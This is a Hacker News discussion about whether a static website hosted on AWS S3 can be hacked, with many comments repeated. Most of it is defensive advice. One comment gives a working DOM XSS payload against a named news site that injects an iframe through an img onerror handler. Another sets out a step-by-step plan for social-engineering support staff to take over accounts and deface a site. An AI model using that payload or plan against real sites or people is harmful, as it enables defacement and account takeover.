Ask HN: Is a static site hosted on AWS S3 'hackable'?
Let's assume both the domain registrar's and AWS pwd are super strong, and that static html files are uploaded to S3 from a 'clean' computer and only from that computer. Can the site be hacked? Defaced? DDOS?
11 comments
Not through a web application vulnerability it can't (there is no application code to break!).
Your biggest issues with that setup will be:
1. Credential and permissions management. Don't lose control of your access keys to AWS! Set up "MFA" at the very least. If you use your AWS account for other purposes, use IAM to ensure that other users cannot access the S3 bucket with the site in it.
2. Getting that green lock (e.g. HTTPS). You can pay $800/month or something insane to Cloudfront to get a custom TLS cert on their CDN, or you can get Cloudflare's "universal ssl" for $20.
3. DDoS is not really a concern. It would be nearly impossible to DDoS an HTML-only website hosted in an S3 bucket. I'd really like to see someone try. The only thing that could happen is you get charged a bit more that month while people are DDoS'ing you. But if you're behind a CDN like Cloudfront or Cloudflare (which can cache everything because it's plain HTML), then the impact would be reduced.
4. Your Registrar suddenly becomes a huge risk. Make sure you use a secure domain registrar (ie. NOT GODADDY!), that the registrar has a "Registrar-Lock" turned on for your domain, and that your account with them has 2FA. If you screw that up, then someone might be able to socially engineer the phone rep at the registrar to transfer the domain, change the nameservers, etc. This happens depressingly often.
5. 3rd party services you use could get hacked. You'll likely import a bunch of JavaScript from other websites onto your own. If any of those websites get compromised, it might affect your website too. Make sure to use 2FA on every service you can (https://twofactorauth.org/) and minimize the amount of JavaScript/fonts/css/whatever that you load from 3rd parties (re-host it locally).
I highly recommend setting up websites this way. It's fast, easy to maintain, and incredibly secure. We do this for the trailofbits.com website and we're very happy with it. Jekyll FTW.
ps. don't forget you can use Github Pages too.
Your biggest issues with that setup will be:
1. Credential and permissions management. Don't lose control of your access keys to AWS! Set up "MFA" at the very least. If you use your AWS account for other purposes, use IAM to ensure that other users cannot access the S3 bucket with the site in it.
2. Getting that green lock (e.g. HTTPS). You can pay $800/month or something insane to Cloudfront to get a custom TLS cert on their CDN, or you can get Cloudflare's "universal ssl" for $20.
3. DDoS is not really a concern. It would be nearly impossible to DDoS an HTML-only website hosted in an S3 bucket. I'd really like to see someone try. The only thing that could happen is you get charged a bit more that month while people are DDoS'ing you. But if you're behind a CDN like Cloudfront or Cloudflare (which can cache everything because it's plain HTML), then the impact would be reduced.
4. Your Registrar suddenly becomes a huge risk. Make sure you use a secure domain registrar (ie. NOT GODADDY!), that the registrar has a "Registrar-Lock" turned on for your domain, and that your account with them has 2FA. If you screw that up, then someone might be able to socially engineer the phone rep at the registrar to transfer the domain, change the nameservers, etc. This happens depressingly often.
5. 3rd party services you use could get hacked. You'll likely import a bunch of JavaScript from other websites onto your own. If any of those websites get compromised, it might affect your website too. Make sure to use 2FA on every service you can (https://twofactorauth.org/) and minimize the amount of JavaScript/fonts/css/whatever that you load from 3rd parties (re-host it locally).
I highly recommend setting up websites this way. It's fast, easy to maintain, and incredibly secure. We do this for the trailofbits.com website and we're very happy with it. Jekyll FTW.
ps. don't forget you can use Github Pages too.
That isn't true. Every static website could be vulnerable through DOM XSS.
In this case the integrity of the site is violated.
PoC: http://bit.ly/1S834lS - redirects to http://www.heute.de/#"><img src=x 32,115,114,99,61,34,104,116,116,112,58,47,47,99,97,116, 46,119,119,119,46,104,101,117,116,101,46,100,101,46,109,101,111,119, 98,105,102,121,46,99,111,109,47,34,32,115,116,121,108,101,61,34,98, 111,114,100,101,114,58,32,48,59,32,119,105,100,116,104,58,32,49,48, 48,37,59,32,104,101,105,103,104,116,58,32,49,48,48,37,59,32,109,97, 114,103,105,110,58,32,45,56,112,120,59,112,111,115,105,116,105,111, 110,58,32,97,98,115,111,108,117,116,101,59,34,62))>
We just inject a iframe through the onerror handler of the <img> tag:
<iframe src="http://cat.www.heute.de.meowbify.com/" style="border: 0; width: 100%; height: 100%; margin: -8px;position: absolute;"></iframe>
In this case the site is using a outdated jQuery version, which is vulnerable to this kind of attack.
http://bugs.jquery.com/ticket/9521
PoC: http://bit.ly/1S834lS - redirects to http://www.heute.de/#"><img src=x 32,115,114,99,61,34,104,116,116,112,58,47,47,99,97,116, 46,119,119,119,46,104,101,117,116,101,46,100,101,46,109,101,111,119, 98,105,102,121,46,99,111,109,47,34,32,115,116,121,108,101,61,34,98, 111,114,100,101,114,58,32,48,59,32,119,105,100,116,104,58,32,49,48, 48,37,59,32,104,101,105,103,104,116,58,32,49,48,48,37,59,32,109,97, 114,103,105,110,58,32,45,56,112,120,59,112,111,115,105,116,105,111, 110,58,32,97,98,115,111,108,117,116,101,59,34,62))>
We just inject a iframe through the onerror handler of the <img> tag:
<iframe src="http://cat.www.heute.de.meowbify.com/" style="border: 0; width: 100%; height: 100%; margin: -8px;position: absolute;"></iframe>
In this case the site is using a outdated jQuery version, which is vulnerable to this kind of attack.
http://bugs.jquery.com/ticket/9521
Hey, would you mind splitting that line up a bit? It's screwing with the layout and making a lot of comments really wide.
Edit: Thanks :)
Edit: Thanks :)
Sounds like a bug in HN layout. One fix is setting ".default" a `max-width` attribute, and ".comment { overflow-wrap: break-word; }`.
User styles managers can fix this per user, but I sent HN an email to let them know.
User styles managers can fix this per user, but I sent HN an email to let them know.
Re: 2. Uploading an SSL cert and using it on CloudFront is free, as long as you're fine with it requiring SNI. CloudFlare "Universal SSL" also requires SNI. The $600/mo thing is if you want dedicated IPs at all their endpoints.
"Not through a web application vulnerability it can't (there is no application code to break!)."
This isn't true. Data is being served up to web browsers over port 80. That's a web server. It might not be like any web server you've ever run ... it might not be apache or thttpd or zeus or whatever ... but there is code that is spitting out HTTP over port 80/443. That's a web server.
So let's say the S3 data is immutable, as far as the "web server" and the attacker are concerned ... that's very nice, of course, but if you have control over the web server, instead of parlaying that into control over the underlying data, just tell the web server to spit out other data.
The S3 content is still safe and unchanged, but your website is nicely defaced, since your "amazon s3 webserver" exploit is just feeding it new content.
(drastically oversimplified, of course - but be clear, if there is a web server (and there is) there is web-server-attack-surface)
This isn't true. Data is being served up to web browsers over port 80. That's a web server. It might not be like any web server you've ever run ... it might not be apache or thttpd or zeus or whatever ... but there is code that is spitting out HTTP over port 80/443. That's a web server.
So let's say the S3 data is immutable, as far as the "web server" and the attacker are concerned ... that's very nice, of course, but if you have control over the web server, instead of parlaying that into control over the underlying data, just tell the web server to spit out other data.
The S3 content is still safe and unchanged, but your website is nicely defaced, since your "amazon s3 webserver" exploit is just feeding it new content.
(drastically oversimplified, of course - but be clear, if there is a web server (and there is) there is web-server-attack-surface)
If the threat model posits an attacker with an exploit for Amazon S3, then we're well out of the realm that is appropriate for security questions about static web sites.
That's not to say that S3 could not possibly be broken, but if it is, there are vastly more attractive targets for that attack than some random static site.
That's not to say that S3 could not possibly be broken, but if it is, there are vastly more attractive targets for that attack than some random static site.
"If the threat model posits an attacker with an exploit for Amazon S3"
No, I'm not talking about an "S3 exploit". In fact, quite the opposite. I'm talking about an exploit for the web server that serves static S3 sites (and yes, it is a web server) which would serve arbitrary content instead of the underlying S3 content.
The end user doesn't care that you injected the defaced content vs. altered the underlying content - defaced is defaced.
No, I'm not talking about an "S3 exploit". In fact, quite the opposite. I'm talking about an exploit for the web server that serves static S3 sites (and yes, it is a web server) which would serve arbitrary content instead of the underlying S3 content.
The end user doesn't care that you injected the defaced content vs. altered the underlying content - defaced is defaced.
In that situation, a malicious actor can execute arbitrary code on an S3 box that likely hosts all kinds of government / business critical data. OP's point is that unless your static website secretly contains nuclear launch codes, the actor will not spend his time coming after your site. You would hear about this kind of situation in the newspaper before your website would change.
No one has the source or binary code for the webserver AWS uses. It would be nearly impossible to write an exploit for it blind like that. Even if you did write it blind, it would be a slow process that likely requires bruteforcing parts of the address space and there is no way you could do it without alerting Amazon.
tl;dr what you described is possible, I guess, but so incredibly unlikely it's not even worth thinking about.
tl;dr what you described is possible, I guess, but so incredibly unlikely it's not even worth thinking about.
Nobody has the source or binary code for dozens of proprietary systems which get hacked on a regular basis.
In fact, I'd argue that most prominent hacks are of systems which are not open source.
In fact, I'd argue that most prominent hacks are of systems which are not open source.
"tl;dr what you described is possible, I guess, but so incredibly unlikely it's not even worth thinking about."
How would you rate it, in terms of "worth thinking about", relative to USB keys picked up off of the ground to infect industrial controllers to make centrifuges wiggle the wrong way ?
Where would you stick that in, you know, in your "worth thinking about it" spectrum ?
Just curious.
How would you rate it, in terms of "worth thinking about", relative to USB keys picked up off of the ground to infect industrial controllers to make centrifuges wiggle the wrong way ?
Where would you stick that in, you know, in your "worth thinking about it" spectrum ?
Just curious.
I think it's not "worth thinking about" for someone that has to ask this question on HN.
> No one has the source or binary code for the webserver AWS uses.
Surely someone has access to this. Likely many many people. Do you know who they all are? Do you trust all of them to be neither malicious or careless.
Surely someone has access to this. Likely many many people. Do you know who they all are? Do you trust all of them to be neither malicious or careless.
That is a very weak argument. If anything I'd argue it's a net negative and not a positive that the code is closed from a security POV.
[deleted]
If Amazon is running a general-purpose web server with persistent state for S3 static hosting, I'd argue they're doing something very wrong.
It's not hard to write a web server that reads from persistent storage but has no need or ability to write to persistent storage. (You can give it a cache, but the cache is destroyable.) So you can attack the web server in memory (maybe), but there's no way to persist the attack. As soon as the web server gets restarted, the attack goes away, and there's also no way to spread the attack from one web server to any of the countless others.
Then it's a simple matter of load-balancing at scale and restarting these stateless web servers on a regular basis to make exploits infeasible, at least until you get to substantially more motivated and funded attackers. And Amazon is a fan of both load-balancing at scale and restarting things.
It's not hard to write a web server that reads from persistent storage but has no need or ability to write to persistent storage. (You can give it a cache, but the cache is destroyable.) So you can attack the web server in memory (maybe), but there's no way to persist the attack. As soon as the web server gets restarted, the attack goes away, and there's also no way to spread the attack from one web server to any of the countless others.
Then it's a simple matter of load-balancing at scale and restarting these stateless web servers on a regular basis to make exploits infeasible, at least until you get to substantially more motivated and funded attackers. And Amazon is a fan of both load-balancing at scale and restarting things.
My parent's business got nailed by #4, and its been an unbelievable nightmare dealing with. Any suggestions on secure domain registrars?
Gandi works reasonably good for me.
AFAIR, it's also under French jurisdiction, not a US one. (This might be good in case of fake DMCA takedowns, but also bad in some other cases...)
AFAIR, it's also under French jurisdiction, not a US one. (This might be good in case of fake DMCA takedowns, but also bad in some other cases...)
I've heard Gandi recommended against since they have a morality clause in their ToS.
If you are selling peaches or dogfood, does it matter?
If you are selling peaches or dogfood you don't care about any of the stuff in this whole thread - who's even going to attack you? The organizations that have to worry about this stuff are those who are doing something controversial.
Or just having some really reckless competitors. Uber-vs-Lyft style reckless.
> Make sure you use a secure domain registrar
AWS now resells domains from a selection of TLDs (generally the most common ones). They've partnered with gandi.net, who does the backend registrar stuff, but you can do it all from the Route53 AWS console. Means you can keep everything all in one place.
AWS now resells domains from a selection of TLDs (generally the most common ones). They've partnered with gandi.net, who does the backend registrar stuff, but you can do it all from the Route53 AWS console. Means you can keep everything all in one place.
There are various other ways you could alter a static website too - leaving aside client-side stuff like malware, you could DNS hijack or MITM it with a bogus cert.
OP mentioned they had a dedicated computer, so I ignored endpoint security issues.
DNS hijacking and other firms of network MITM are a risk, sure, but they are so incredibly rare to see in the wild that it's outside the scope of most people's concerns. "Normal" attackers generally can't pull it off.
DNS hijacking and other firms of network MITM are a risk, sure, but they are so incredibly rare to see in the wild that it's outside the scope of most people's concerns. "Normal" attackers generally can't pull it off.
"Not through a web application vulnerability it can't (there is no application code to break!)."
eg. metadata in images can contain executable code
Not intentionally-executable code, and unintentionally-executable code (i.e. exploits in image renderers) would affect the client, not the server, which isn't the direction we're concerned about.
If the server transcodes images, then yes, it should do the transcoding in a throwaway sandbox that outputs some hard-to-misparse intermediate format like a raw pixel array. But S3 doesn't do transcoding.
If the server transcodes images, then yes, it should do the transcoding in a throwaway sandbox that outputs some hard-to-misparse intermediate format like a raw pixel array. But S3 doesn't do transcoding.
How I would hack it (if I was evil and cared enough):
1. Gather info from whois DB, google search, site spidering, going to your house and looking through your trash.
2. Ring you up - Hello I'm Joe from the tax department/credit card company/bank we need to confirm your address .. give your address .. could I please confirm you are the credit card holder, I just need the last 4 digits
3. Ring your friends, family and business contacts - use smooth talking to gather as much info as possible.
4. Ring up Amazon - oh yes I am mister XXX, I forgot my password, please can you reset it. If they don't I'll try to guess information, and glean any info out of the replies.
5. Ring up your email provider and do the same
6. Keep on ringing about 8 hours apart to make sure I get different teams, so it's fresh each time, until I had enough info to get access to the account
7. Make sure to delete all backups
8. Deface to my hearts content - change all the passwords, blah blah
--------
This is the info I'd try and gather:
* Name - probably from whois
* DOB - probably from public records search - or ringing friends
* Phone - probably from your trash or mailbox
* Last four credit card digits - probably will get from your trash, or tricking you on the phone
* Date of last payment - Probably from tricking Amazon
* Password bits - pet's name, girfriend/wife/child names and ages, keylogger in an email I sent you
1. Gather info from whois DB, google search, site spidering, going to your house and looking through your trash.
2. Ring you up - Hello I'm Joe from the tax department/credit card company/bank we need to confirm your address .. give your address .. could I please confirm you are the credit card holder, I just need the last 4 digits
3. Ring your friends, family and business contacts - use smooth talking to gather as much info as possible.
4. Ring up Amazon - oh yes I am mister XXX, I forgot my password, please can you reset it. If they don't I'll try to guess information, and glean any info out of the replies.
5. Ring up your email provider and do the same
6. Keep on ringing about 8 hours apart to make sure I get different teams, so it's fresh each time, until I had enough info to get access to the account
7. Make sure to delete all backups
8. Deface to my hearts content - change all the passwords, blah blah
--------
This is the info I'd try and gather:
* Name - probably from whois
* DOB - probably from public records search - or ringing friends
* Phone - probably from your trash or mailbox
* Last four credit card digits - probably will get from your trash, or tricking you on the phone
* Date of last payment - Probably from tricking Amazon
* Password bits - pet's name, girfriend/wife/child names and ages, keylogger in an email I sent you
As always the weakest part of any security system is the people within it.
Presuming you don't misconfigure S3, this is one of the least "hackable" ways to stand up a website.
Nobody mentioned it, but having a static website vs. a dynamic one, leaves your contents exposed to scraping, proxy hijacking and framing. While the latter can be mitigated by a one-line script, IMHO you basically can't defeat scrapers and proxies client-side-only - modern scrapers are able to run any javascript if needed. So expect a plethora of bad/spam links, unauthorized copies of your pages - etc. Especially if your contents attracts a lot of traffic and/or you have many competitors.
I recommend you watch periodically for your contents to pop up on random domains (you can google for your exact texts) and file your DMCA requests as soon as they appear.
It might help to use <base> tags, absolute URL links and the likes in all of your web pages, as well as mention your domain both in textual contents and images (logo?) - that actively discourages "lazy duplicates" of your pages (but not copy/pasting your articles on a different site by hand).
Just my two cents.
I recommend you watch periodically for your contents to pop up on random domains (you can google for your exact texts) and file your DMCA requests as soon as they appear.
It might help to use <base> tags, absolute URL links and the likes in all of your web pages, as well as mention your domain both in textual contents and images (logo?) - that actively discourages "lazy duplicates" of your pages (but not copy/pasting your articles on a different site by hand).
Just my two cents.
Whether your site is static or dynamic doesn't changes anything: you still have to expose content to your users.
Furthermore, any good browser will respect [Content Security Policies](https://developer.mozilla.org/en-US/docs/Web/Security/CSP/CS...) and not load frames to your website.
Furthermore, any good browser will respect [Content Security Policies](https://developer.mozilla.org/en-US/docs/Web/Security/CSP/CS...) and not load frames to your website.
A static website that is served over HTTPS only[1], and lets say for the sake of argument, HTTPS secure enough not to MITM, and no services outside of your control (DNS, etc) are MITMable, and your credentials to Amazon can't be stolen...
The only way to hack your site is to actually be at Amazon with access to whatever disk array stores your data. As in, I'm pretty sure "inside job" is the only route left.
[1]: http://www.troyhunt.com/2015/06/understanding-http-strict-tr...
The only way to hack your site is to actually be at Amazon with access to whatever disk array stores your data. As in, I'm pretty sure "inside job" is the only route left.
[1]: http://www.troyhunt.com/2015/06/understanding-http-strict-tr...
Sure, strong credentials can still be leaked due to a simple phishing email to the right person.
There is no such thing as an unhackable system, only more and less difficult to hack systems.
There is no such thing as an unhackable system, only more and less difficult to hack systems.
For the sake of argument let's assume credentials are not hackable. My question: is the site itself hackable?
Yes - but probably only for quite small values of yes.
Who's your threat?
Your attacker would need a backdoor or 0day into AWS itself - which while you'd be a fool to assume such a thing doesn't exist, its very unlikely to get "burned" on a run-of-the-mill website hack or defacement.
If your site is ISIS or Wikileaks or DeSpiegel or The Guardian (or some other well known considered-by-the-NSA-to-be-a-terrorist-organisation) - you wouldn't bet against the NSA having firmware backdoors in the network cards and hard drive controllers underneath AWS (as well as the hypervisor and all the available deployed virtualised images, and all the internal Amazon network hardware and the core routers at both ends of Amazon's datacenter's optical fibres).
If your threat model is closer to Anonymous or GamerGate, you're probably more at risk of your "unhackable" credentials being social engineered than a purely software hack.
But in a purely binary interpretation of your question - Yes. _Everything_ is "hackable" given a sufficiently motivated and resourced attacker.
Who's your threat?
Your attacker would need a backdoor or 0day into AWS itself - which while you'd be a fool to assume such a thing doesn't exist, its very unlikely to get "burned" on a run-of-the-mill website hack or defacement.
If your site is ISIS or Wikileaks or DeSpiegel or The Guardian (or some other well known considered-by-the-NSA-to-be-a-terrorist-organisation) - you wouldn't bet against the NSA having firmware backdoors in the network cards and hard drive controllers underneath AWS (as well as the hypervisor and all the available deployed virtualised images, and all the internal Amazon network hardware and the core routers at both ends of Amazon's datacenter's optical fibres).
If your threat model is closer to Anonymous or GamerGate, you're probably more at risk of your "unhackable" credentials being social engineered than a purely software hack.
But in a purely binary interpretation of your question - Yes. _Everything_ is "hackable" given a sufficiently motivated and resourced attacker.
I believe this comment is the most correct answer.
Anything is theoretically "hackable" given enough time. What we can do is to make things difficult enough to hack that they are not worth the time.
Anything is theoretically "hackable" given enough time. What we can do is to make things difficult enough to hack that they are not worth the time.
I don't think anyone will be willing to say yes or no.
Just don't count on something being 'unhackable'.
AFAIK there are no published flaws in S3 static hosting.
Just don't count on something being 'unhackable'.
AFAIK there are no published flaws in S3 static hosting.
I will say "Yes". With 100% certainty.
Interesting people do stuff like this "for fun":
http://dangerousprototypes.com/2013/01/19/29c3-travis-goodsp...
and this:
http://spritesmods.com/?art=hddhack
How much would you bet against the people described below having even better versions of those two hacks, and being fully aware of Amazon's supply chain?
"The book included a photograph of intercepted packages being opened by NSA agents, and an accompanying NSA document explained the packages were “redirected to a secret location” where the agents implanted surveillance beacons that secretly communicated with NSA computers." - https://firstlook.org/theintercept/2014/10/10/core-secrets/
Interesting people do stuff like this "for fun":
http://dangerousprototypes.com/2013/01/19/29c3-travis-goodsp...
and this:
http://spritesmods.com/?art=hddhack
How much would you bet against the people described below having even better versions of those two hacks, and being fully aware of Amazon's supply chain?
"The book included a photograph of intercepted packages being opened by NSA agents, and an accompanying NSA document explained the packages were “redirected to a secret location” where the agents implanted surveillance beacons that secretly communicated with NSA computers." - https://firstlook.org/theintercept/2014/10/10/core-secrets/
Haha, well if your threat model includes the government I'm fairly certain we're all screwed.
Indeed.
Having said that, I suspect in light of recent Snowden releases - it seems a bunch of German and Brazilian commercial businesses who probably didn't expect they had to consider the NSA as a plausible attacker are now having exactly those discussions.
I suspect _any_ prudent CSO of any company who's commercial competitors include politically connected US companies is now wondering whether they also need to consider that risk.
Having said that, I suspect in light of recent Snowden releases - it seems a bunch of German and Brazilian commercial businesses who probably didn't expect they had to consider the NSA as a plausible attacker are now having exactly those discussions.
I suspect _any_ prudent CSO of any company who's commercial competitors include politically connected US companies is now wondering whether they also need to consider that risk.
What steps would you go through if you lost the passwords to either the domain registrar or the AWS account? How does the account recovery work?
Usually it relies on ownership of some third account, e.g. email. Okay, what's the recovery process for the email account? Receiving an SMS to a particular phone number? Okay, what's the recovery process for that phone number? What's the process to get the phone number redirected?
At some point you're going to end up being able to ring up a number and tell someone a name, address, date of birth etc. Best case you ring up and they say okay we'll mail you something. Or they make you come in person and sign.
Customers lose credentials constantly, and won't tolerate being told that this means their account is unrecoverable. So there is almost always another way.
Usually it relies on ownership of some third account, e.g. email. Okay, what's the recovery process for the email account? Receiving an SMS to a particular phone number? Okay, what's the recovery process for that phone number? What's the process to get the phone number redirected?
At some point you're going to end up being able to ring up a number and tell someone a name, address, date of birth etc. Best case you ring up and they say okay we'll mail you something. Or they make you come in person and sign.
Customers lose credentials constantly, and won't tolerate being told that this means their account is unrecoverable. So there is almost always another way.
You can position your site behind CloudFlare's DDoS protection, eg. http://ht.transparencytoolkit.org
A bit out of the topic,
But I think generally if your site is not using top 3 popular CMS-es like WP, Drupal and Joomla - this will make 99.9% of attackers to move on and scan for easier targets elsewhere.
But I think generally if your site is not using top 3 popular CMS-es like WP, Drupal and Joomla - this will make 99.9% of attackers to move on and scan for easier targets elsewhere.
Endpoint security.
SSH guessable passwords.
HTTP daemon vulnerabilities.
Any other daemons running.
Resource exhaustion.
DNS.
Client MITM.
Route corruption.
SSH guessable passwords.
HTTP daemon vulnerabilities.
Any other daemons running.
Resource exhaustion.
DNS.
Client MITM.
Route corruption.